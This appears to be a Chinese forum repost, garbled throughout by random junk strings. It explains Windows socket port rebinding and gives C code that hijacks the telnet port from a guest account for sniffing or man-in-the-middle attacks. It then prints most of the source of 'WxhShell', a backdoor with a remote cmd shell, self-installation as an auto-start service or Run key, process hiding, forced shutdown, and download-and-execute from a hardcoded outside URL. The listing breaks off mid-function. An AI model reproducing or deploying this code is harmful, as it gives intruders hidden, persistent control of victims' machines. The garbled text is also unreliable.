在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%#5\^4$z|N s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*B<Ig^c 7oUecyoj saddr.sin_family = AF_INET;
kpF")0qr %LI[+#QE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&n6'r^[D i;:gBNmo= bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5Bwr\]%$P 3PRg/vD3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
A'A5.\UN w=e_@^Fkx 这意味着什么?意味着可以进行如下的攻击:
w5/`_m! t<8vgdD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Oz8"s4Y7 Z8vMVo 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
</xz
V<Pi K|n%8hRy 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
jhRg47A R#"LP7\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RLy2d'DS 0}LBnV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~!V5Ug_2 =f48[= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>WYiOXYv 6t zUp/O 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^a>3U l{ eXs^YPi #include
~rnbuIh #include
T"h@-UcTl #include
.\Z/j #include
kHWW\?O DWORD WINAPI ClientThread(LPVOID lpParam);
2EO WbN}M int main()
R7'6#2y {
x}^:Bs+j WORD wVersionRequested;
sR~D3- DWORD ret;
pFB^l|\ ] WSADATA wsaData;
'gBGZ?^N!U BOOL val;
[w*t(A SOCKADDR_IN saddr;
dUt$kB SOCKADDR_IN scaddr;
rC !!X int err;
RSv?imi= SOCKET s;
u92);1R SOCKET sc;
IKz3IR eu int caddsize;
seQSDCsvw* HANDLE mt;
5OJ8o>BF DWORD tid;
ot%^FvQ[c wVersionRequested = MAKEWORD( 2, 2 );
hB?a{#JL err = WSAStartup( wVersionRequested, &wsaData );
aNt+;M7g` if ( err != 0 ) {
4*`AYx( printf("error!WSAStartup failed!\n");
cj[a^ ZH return -1;
EN,PI~~F }
c >O>|*I saddr.sin_family = AF_INET;
iX&eQ{LB g4eEkG`XTS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
X
jPPgI J\@ r~x5G saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\*a7o GyH> saddr.sin_port = htons(23);
E=*82Y=B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>Bw<THx {
x]6-r`O7r printf("error!socket failed!\n");
|\}&mBR return -1;
w}20l F }
h+\+9^l6| val = TRUE;
Q1 t-Z;X //SO_REUSEADDR选项就是可以实现端口重绑定的
@p$Nw.{' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
61aU~w11a {
XBr-UjQ printf("error!setsockopt failed!\n");
c*m7'\ return -1;
mp'Z.4 }
Yg<L pjq5X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ri //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#oYPe:8|m //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6D\$K bHKTCPf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$yn7XonS {
(yJY/| ret=GetLastError();
U}yq*$N printf("error!bind failed!\n");
e7_.Xr~[ return -1;
u# TNW. }
'9ki~jtf= listen(s,2);
-$ VP#% while(1)
CD!Aa {
+!~"ooQZh caddsize = sizeof(scaddr);
K]{x0A //接受连接请求
@%^JB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+nIjW;RU if(sc!=INVALID_SOCKET)
< NRnE8: {
iJ&jg`"=F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
P
Nf_{4 if(mt==NULL)
OGR2Y {
SzTa[tJ+ printf("Thread Creat Failed!\n");
4\_~B{kzZ break;
k4E2OyCFoJ }
'+s ?\X4VC }
R9&3QRW| CloseHandle(mt);
4@mK:v% }
'=WPi_Z5:C closesocket(s);
FUO 9jX WSACleanup();
w-j^jU><3 return 0;
L-9AJk>V }
c%+_~iBUN DWORD WINAPI ClientThread(LPVOID lpParam)
o#Viz: {
u]z87#4 SOCKET ss = (SOCKET)lpParam;
PY@BgL=/ SOCKET sc;
Dq~\U&U\$ unsigned char buf[4096];
@ *<`*W SOCKADDR_IN saddr;
/prR;'ks long num;
~Fe$/*v DWORD val;
<-h[I&." DWORD ret;
{y%|Io`P //如果是隐藏端口应用的话,可以在此处加一些判断
'>^!a!<G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!jTxMf
saddr.sin_family = AF_INET;
h}U>K4BJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Wt M1nnJp saddr.sin_port = htons(23);
B'v~0Kau if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3
,f3^A {
xxQgX~'x printf("error!socket failed!\n");
V<i_YLYmJe return -1;
<~Oy3#{ }
AX] cM)w val = 100;
OQJ#>*? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6QYHPz {
ujf]@L? ret = GetLastError();
8Q(A1U return -1;
:\]qB& }
u_=^Bd if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8~}~d}wW {
}rQ0*h ret = GetLastError();
JKF/z@Vbe\ return -1;
"!9FJ Y }
U1)!X@F{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=&" a:l {
,ll<0Atg printf("error!socket connect failed!\n");
@b9qBJfQ closesocket(sc);
7NMy1'-q closesocket(ss);
}3/|;0j$ return -1;
6n:oEXM> }
ILIv43QKM( while(1)
A
D%9;KQ8 {
5|A"YzY# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
xqpq|U //如果是嗅探内容的话,可以再此处进行内容分析和记录
z^o7&\: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
tPb<*{eG num = recv(ss,buf,4096,0);
%w;wQ_ if(num>0)
j%)@f0Ng send(sc,buf,num,0);
yTR5*{?j else if(num==0)
jfU$qo!gi break;
717OzrF}A? num = recv(sc,buf,4096,0);
}1mkX\wWP if(num>0)
.^wBv
'Y send(ss,buf,num,0);
= G>Y9Sc else if(num==0)
+,zV
[\ break;
?BRZ){) }
P#9Pq,I closesocket(ss);
i.0d>G><@ closesocket(sc);
`Ip``I#A return 0 ;
20w4
'@sq
}
p:ubj'(U05 w$0*5n>) re fAgS!=q ==========================================================
juA}7 k{
$,FQ4 下边附上一个代码,,WXhSHELL
6~O;t'd f{-,"6Y1 ==========================================================
z
.+J\ #G\Ae:O #include "stdafx.h"
a/n~#5- (\%J0kR3[ #include <stdio.h>
}vd72PB #include <string.h>
pQoZDD@B$ #include <windows.h>
RREl($$p #include <winsock2.h>
zbJ}@V #include <winsvc.h>
]Na; b #include <urlmon.h>
Ch)E:Dvq6 : cPV08i #pragma comment (lib, "Ws2_32.lib")
fS3% #pragma comment (lib, "urlmon.lib")
XCT3:db %3yrX>Js #define MAX_USER 100 // 最大客户端连接数
~xJ^YkyH #define BUF_SOCK 200 // sock buffer
`o0ISJeKp #define KEY_BUFF 255 // 输入 buffer
j>3Fwg9V bsc#Oq] #define REBOOT 0 // 重启
[W99}bi$ #define SHUTDOWN 1 // 关机
g,B@*2Uj } x
KvN #define DEF_PORT 5000 // 监听端口
em2Tet JyePI:B&)j #define REG_LEN 16 // 注册表键长度
L7"<a2J #define SVC_LEN 80 // NT服务名长度
C'PHbo: lNMJcl3 // 从dll定义API
2RdpVNx\y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
tILnD1q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Ym#io] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
OKA6S* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
I5E5,{ :4)lmIu // wxhshell配置信息
Li+|%a struct WSCFG {
i "aQm int ws_port; // 监听端口
.uB[zJc char ws_passstr[REG_LEN]; // 口令
C't%e int ws_autoins; // 安装标记, 1=yes 0=no
6n/KL char ws_regname[REG_LEN]; // 注册表键名
;x&3tN/I char ws_svcname[REG_LEN]; // 服务名
jX,A. char ws_svcdisp[SVC_LEN]; // 服务显示名
c^R "g)gr char ws_svcdesc[SVC_LEN]; // 服务描述信息
<9x|)2P char ws_passmsg[SVC_LEN]; // 密码输入提示信息
fVYv 2 int ws_downexe; // 下载执行标记, 1=yes 0=no
O O-Obg^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ppu<k N char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[OFT!=.y & t&-c?&FO\; };
fO837 z=4E#y`?U // default Wxhshell configuration
\}Kad\) struct WSCFG wscfg={DEF_PORT,
W$`
WkR "xuhuanlingzhe",
+!t *LSF 1,
I]B9+Z?xo "Wxhshell",
_k5$.f:Yj< "Wxhshell",
iig&O(, "WxhShell Service",
dBHki*.u "Wrsky Windows CmdShell Service",
Is97>aid "Please Input Your Password: ",
UJ`%uLR~ 1,
sA
}X)aP "
http://www.wrsky.com/wxhshell.exe",
Cyud)BZvm "Wxhshell.exe"
G
}M! };
\rCdsN 2H n&8N`!^o // 消息定义模块
S;BMM8U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
nb@<UbabW} char *msg_ws_prompt="\n\r? for help\n\r#>";
ZRUA w,T * char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4VzSqb char *msg_ws_ext="\n\rExit.";
tfv@
)9 char *msg_ws_end="\n\rQuit.";
fVq,? char *msg_ws_boot="\n\rReboot...";
XX*f char *msg_ws_poff="\n\rShutdown...";
0qBXL;sE char *msg_ws_down="\n\rSave to ";
x!onan .>'J ^^ char *msg_ws_err="\n\rErr!";
%Ip=3($Ku[ char *msg_ws_ok="\n\rOK!";
Q8DKU )EG-xo@X char ExeFile[MAX_PATH];
]xhH:kW4 int nUser = 0;
"?YpF2pD HANDLE handles[MAX_USER];
'IER9%V$ int OsIsNt;
DE?@8k 'v@1_HHW\ SERVICE_STATUS serviceStatus;
5a* Awv} SERVICE_STATUS_HANDLE hServiceStatusHandle;
.\)p3pC) dTVM
!= // 函数声明
jw]IpGTt int Install(void);
,aa
%{ int Uninstall(void);
'eoI~*}3WQ int DownloadFile(char *sURL, SOCKET wsh);
YC}$O2 int Boot(int flag);
E
eCgV{9B void HideProc(void);
@T-}\AU int GetOsVer(void);
_"'-fl98* int Wxhshell(SOCKET wsl);
m>b
i$Y void TalkWithClient(void *cs);
W*D*\E int CmdShell(SOCKET sock);
.gI9jRdKw int StartFromService(void);
=k+i5:@] int StartWxhshell(LPSTR lpCmdLine);
H{;8i7% a[gN+DX%L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|nO}YU\E VOID WINAPI NTServiceHandler( DWORD fdwControl );
qxD<mZ@-R0 wSs78c= // 数据结构和表定义
;<` SERVICE_TABLE_ENTRY DispatchTable[] =
zyI4E\ {
x[%% )[d {wscfg.ws_svcname, NTServiceMain},
=`%%* {NULL, NULL}
{XYf"ONi };
&S#bLE ~K|o@LK // 自我安装
}Z\+Qc<< int Install(void)
UmQ'=@^kR {
ZP%Bu2xd char svExeFile[MAX_PATH];
WTh|7& HKEY key;
?/ s=E+ strcpy(svExeFile,ExeFile);
q}5&B=2pM PiIILX{DuH // 如果是win9x系统,修改注册表设为自启动
/XW,H0pR if(!OsIsNt) {
2qkC{klC^M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4U:+iumy2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>l5JwwG RegCloseKey(key);
z~a]dMs"(P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mH3{<^Z6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>JhIRf RegCloseKey(key);
d>7bwG+k return 0;
6d/b*,4[ }
fmq^AnKd }
6UJBE<ntj }
4HDQj]z/ else {
dzMI5fA<_ ?|Mmz@ // 如果是NT以上系统,安装为系统服务
Py,@or7n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L:EJ+bNG if (schSCManager!=0)
*'(dcy9 {
:Zd# }P SC_HANDLE schService = CreateService
wwmODw<tT (
DSHpM/7 schSCManager,
(.3L'+F wscfg.ws_svcname,
?hpk)Qu wscfg.ws_svcdisp,
R:JS)>B SERVICE_ALL_ACCESS,
( ]o6Pi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
iJE|u SERVICE_AUTO_START,
#Ryu`b SERVICE_ERROR_NORMAL,
k07) g:_ svExeFile,
VbX$i!>8 NULL,
IA;KEGJ NULL,
mwTn}h3N NULL,
]QU52R@M NULL,
)u&_}6z NULL
O"9f^y* );
Z_Ma|V?6 if (schService!=0)
}Mo9r4} {
%jM|*^\% CloseServiceHandle(schService);
L7%'Y}1e. CloseServiceHandle(schSCManager);
"Hjw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
cw <DM%p strcat(svExeFile,wscfg.ws_svcname);
3B"rI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Q<``}:y|> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
fhn0^Qc"+ RegCloseKey(key);
"WYcw\@U return 0;
5tl}rmI` }
Fk(0q/b }
a^5`fA/L, CloseServiceHandle(schSCManager);
E(U}$Zey }
ddHIP`wb }
z?"5="D JT^E`<nn return 1;
J0p,P.G }
+;[`fSi Pjb9FCA' // 自我卸载
Azz]TO int Uninstall(void)
PvT8XSlTx! {
.Um%6a- HKEY key;
1I^Sv (\/HGxv if(!OsIsNt) {
v|,H d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c)6Y.[). RegDeleteValue(key,wscfg.ws_regname);
{Rj' =%h RegCloseKey(key);
_@prv7e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}\DQxHG RegDeleteValue(key,wscfg.ws_regname);
\
bT]?.si RegCloseKey(key);
n"K7@[d return 0;
Z#MODf0H@ }
BtHvfoT }
F<(xz= }
.DvAX(2v else {
-6tF rw\4KI@ L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
H@j ^, if (schSCManager!=0)
8:xQPd?3 {
B?%D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
xf]4!zE if (schService!=0)
ia_8$>xW+ {
!d0@^JbM" if(DeleteService(schService)!=0) {
Xp?Z;$r$ CloseServiceHandle(schService);
ToJru CloseServiceHandle(schSCManager);
VD3[ko return 0;
S~Hj.
d4/ }
$^0YK|F CloseServiceHandle(schService);
Csc2 yI%3 }
: }IS=A CloseServiceHandle(schSCManager);
sTqB%$K} }
7:j #1N[p }
`(a^=e5 oV!9B -< return 1;
^c7L!F }
]Ojt3)fB ::`j@ ] // 从指定url下载文件
GQZUC\cB int DownloadFile(char *sURL, SOCKET wsh)
?GC0dN {
j5)qF1W, HRESULT hr;
t2SZ]|C char seps[]= "/";
5#F+-9r char *token;
YaT07X.(b char *file;
ha),N<' char myURL[MAX_PATH];
>PJ-Z~O'
char myFILE[MAX_PATH];
LGMFv fIcv}Y strcpy(myURL,sURL);
2Ls<OO token=strtok(myURL,seps);
t]o gn( while(token!=NULL)
1<p"z,c {
E>1USKxn file=token;
UK<"|2^sT token=strtok(NULL,seps);
"}EbA3 }
f\^QV WE7l[<b GetCurrentDirectory(MAX_PATH,myFILE);
7@"X~C strcat(myFILE, "\\");
XHg%X strcat(myFILE, file);
z} \9/` send(wsh,myFILE,strlen(myFILE),0);
rN~`4mZ send(wsh,"...",3,0);
W%W.
+f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
QaO`:wJj if(hr==S_OK)
DRIv<=Bt return 0;
]x G4T>S else
%dU}GYL_ return 1;
/YbL{G
)j} ~z}au"k }
i=a LC*@ @6!JW(,]\ // 系统电源模块
`+o.w#cl int Boot(int flag)
YC_^jRB8n {
FTfA\/tl(; HANDLE hToken;
/fq6-;co+ TOKEN_PRIVILEGES tkp;
PS22$_} M5V1j(URE if(OsIsNt) {
g3XAs@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
A!kyga6F5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Mt Z(\&~ tkp.PrivilegeCount = 1;
QBy*y $ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,H?p9L; qp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jb2:O,+! if(flag==REBOOT) {
{\&"I|dpe if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f)x}_dw% return 0;
zOOX>3^ }
iFA"m;$ else {
,lJ6"J\8. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
S8RB0^Q7 return 0;
&3f.78a }
jQ)>XOok }
5!zvoX9 else {
Q2NnpsA^6 if(flag==REBOOT) {
,no:6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
WLLv a<{ return 0;
$hQg+nY. }
@;}H<&" else {
}$1;< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Ag6
( return 0;
}6>J }
z)>{O3 }
af(JoX*U e;5Lv9?C8 return 1;
rk |(BA }
b2e a0 =.hDf<U // win9x进程隐藏模块
He!!oKK> void HideProc(void)
v`BG1&/| {
cvA\C_ WN#lfn8 7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
h.;CL#s if ( hKernel != NULL )
CJixK>Y^ {
*h:EE6| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
S\5k'ifh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
p8d n-4 FreeLibrary(hKernel);
c$kb0VR }
ON0+:`3\ Q;/F0JDH return;
Ch9!AUiR }
+~Ay h[V O)uM&B= // 获取操作系统版本
b6vYM_ Q int GetOsVer(void)
!<zzP LC {
'5/}MMT OSVERSIONINFO winfo;
B kxhF winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
x,gE$dNzy GetVersionEx(&winfo);
az;jMnPpR5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
JlQT5k return 1;
gQ[^gPWP" else
:wZ`>,K"t> return 0;
"%Ana=cc }
i: M*L< + NJf(,Mr*| // 客户端句柄模块
RIEv*2_O int Wxhshell(SOCKET wsl)
1bZiPG{ {
|cGeL[ SOCKET wsh;
MlK`sH6 struct sockaddr_in client;
zWs*kTtA DWORD myID;
.*~u /cC6qhkp% while(nUser<MAX_USER)
YOV4)P" {
E97+GJ3 int nSize=sizeof(client);
h<1dTl* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$7&l6~sMQ if(wsh==INVALID_SOCKET) return 1;
5f'g3' |8c:+8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
prEu9$:t if(handles[nUser]==0)
8J3@VD. closesocket(wsh);
g~c|~u(W else
A1QI4.K nUser++;
~]W[ {3 ; }
O| J`~Lk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
u] U)d$| 9jR[:[
return 0;
8$v zpu }
/;NE]{K Bd9hf`%2 // 关闭 socket
%7>AcTN~ void CloseIt(SOCKET wsh)
3V
Mh) {
CQjZAv
closesocket(wsh);
4m~7 ~- h nUser--;
4:Xj-l^D ExitThread(0);
"Z 2Tc) }
PIEW \i rW~?0 // 客户端请求句柄
sh(kRrdY3 void TalkWithClient(void *cs)
*rn]/w8ZW {
}d~wDg<# '"w}gx SOCKET wsh=(SOCKET)cs;
c@9Z&2) char pwd[SVC_LEN];
x , Vh char cmd[KEY_BUFF];
Km9}^*Mo% char chr[1];
y,v0-o~q int i,j;
Vv]$\`d# Q5y
q"/=[a while (nUser < MAX_USER) {
e-iYJ? PG6L]o^ if(wscfg.ws_passstr) {
7mn,{2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#5-A& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L)/6kt= //ZeroMemory(pwd,KEY_BUFF);
3aO;@GNJ i=0;
$35,\ZO> while(i<SVC_LEN) {
VXkAFgO 6mBDd>`0 // 设置超时
umm \r&]A fd_set FdRead;
*"ykTqa
struct timeval TimeOut;
L8:]`MQ0 FD_ZERO(&FdRead);
chO'Q+pw FD_SET(wsh,&FdRead);
s`#ntset0 TimeOut.tv_sec=8;
4\1wyN /}M TimeOut.tv_usec=0;
b~/Wnp5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
AJ\VY;m7F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
(L
y%{ Y *9dV/TT~f[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@TA8^ND pwd
=chr[0]; 2{mY:\
if(chr[0]==0xd || chr[0]==0xa) { |I}A>XG
pwd=0; Kd/[Bs%
break; Ehb?CnV#J
} T/wM(pr'
i++; Mu'^OX82
} +MNSZLP]
}%!FMXe
// 如果是非法用户,关闭 socket Lf^5Eo/
5A
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Bt;DM#>
} .'5'0lR5
8Wdkztp/S
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ii~; d3.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0{0;1.ZP
PyC;f8n'(
while(1) { ;48P vw>g}
@[d#mz
ZeroMemory(cmd,KEY_BUFF); N 8:"&WM
ezcS[r
// 自动支持客户端 telnet标准 +R
"AA_A?
j=0; rWoe
?g
while(j<KEY_BUFF) { #Rin*HL##
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /B,B4JI)/
cmd[j]=chr[0]; ?CH?kP
if(chr[0]==0xa || chr[0]==0xd) { 0 W~.WkD
cmd[j]=0; :%/\1$3P
break; W
il{FcHY
} u}Ei_
O<z
j++; c8#T:HM|`
} GFdZ`i
ZR/R'prW
// 下载文件 ATMc`z:5T
if(strstr(cmd,"http://")) { jOBY&W0r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hz<|W5
if(DownloadFile(cmd,wsh)) !~K=#"T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \R8 6;9ov
else M4TrnZ1D}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qs!>tw
} <K.Bq]
else { I:F'S#
EvwbhvA(
switch(cmd[0]) { 0=OD?48<
4@DVc7\x$
// 帮助 X$Q2m{dR
case '?': { B;eW/#`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x8 f6,
break; RRx`}E9,
} J#6LSD@(O
// 安装 n&_YYEHx
case 'i': { @<vF]\Ce
if(Install()) _/|8%])
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G$cxDGo
else HG3.~ 6X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8W-]t1O%!
break; }US7Nw
} uyL72($
// 卸载 &}zRH}s;
case 'r': { w`M]0'zls
if(Uninstall()) OYBotk]{1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d4ic9u*D
else M} O[`Fx{W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s,84*6u
break; 4$%`Qh>yA
} N\_( w:q
// 显示 wxhshell 所在路径 "YuZ fL`bb
case 'p': { clHM8$
char svExeFile[MAX_PATH]; ha_@Yqgh
strcpy(svExeFile,"\n\r"); PPN q:,
strcat(svExeFile,ExeFile); \C|;F
send(wsh,svExeFile,strlen(svExeFile),0); w3<Z?lj:
break; EtGH\?d~]
} ?Rlgv5P!
// 重启 Y.E?;iS
case 'b': { rW[SU:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'yE*|Sx
if(Boot(REBOOT)) `/c7h16
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -dg} BM
else { u-lrTa""z
closesocket(wsh); *7\W=-
ExitThread(0); %njOX#.w
} Z%Vr+)!4
break; ?hKm&B;d
} 6%>/og\%
// 关机 {n\6BTs
case 'd': { w-lrnjs
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^Ss<X}es-
if(Boot(SHUTDOWN)) !@( M_Z'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 77``8,
else { 6!Qknk$
closesocket(wsh); YQ52~M0L
ExitThread(0); o1U}/y+R\
} w.tW=z5
break; >
9o{(j
} j?( c}!}
// 获取shell ?J<T
case 's': { :H{Bb{B%
CmdShell(wsh); i9KTX%s5^
closesocket(wsh); Ga.0Io&}C
ExitThread(0); T\jAk+$Jo
break; mIRAS"Q!m
} C}9Kx }q
// 退出 .U<F6I:<md
case 'x': { C]/&vh7ta
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FK6K6wU52m
CloseIt(wsh); Z^<Sj5}6
break; rmoJ
=.'
} #7+]%;h
// 离开 ^=k{~
case 'q': { A&NqQ
V,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6>s=CiZB
closesocket(wsh); pOKeEW<q
WSACleanup(); ]s_@n!
exit(1); au}s=ua~i
break; "tKNlHBu'
} t|.Ft<c#
} .W$
sxVXB
} 7g5@vYS+
zb>;?et;)
// 提示信息 yu=piP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wsqLXZI
} ;t|,nz4kJ
} aF!WIvir
M"B@M5KT
return; E.9^&E}PG
} cg{Gc]'1#
@/LiR>,
// shell模块句柄 I
:@|^PYw
int CmdShell(SOCKET sock) `&H04x"Y$>
{ Y_+
SA|s
STARTUPINFO si; y[7C% Wj
ZeroMemory(&si,sizeof(si)); /,X7.t_-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9l#gMFknI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IYLZ
+>
PROCESS_INFORMATION ProcessInfo; T RDxT
char cmdline[]="cmd"; ^Wm*-4
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N2T&,&,t
return 0; YIO.yN"0
} '^DUq?E4
>4~#%&
// 自身启动模式 W1hX?!xp!
int StartFromService(void) <}cZi4l'
{ $D}"k!H
typedef struct G~(&3
{ aV#h5s
DWORD ExitStatus; _\UIc;3Gl
DWORD PebBaseAddress; l77'Lne
DWORD AffinityMask; r,0@~;zA
DWORD BasePriority; 8A!'I<S1
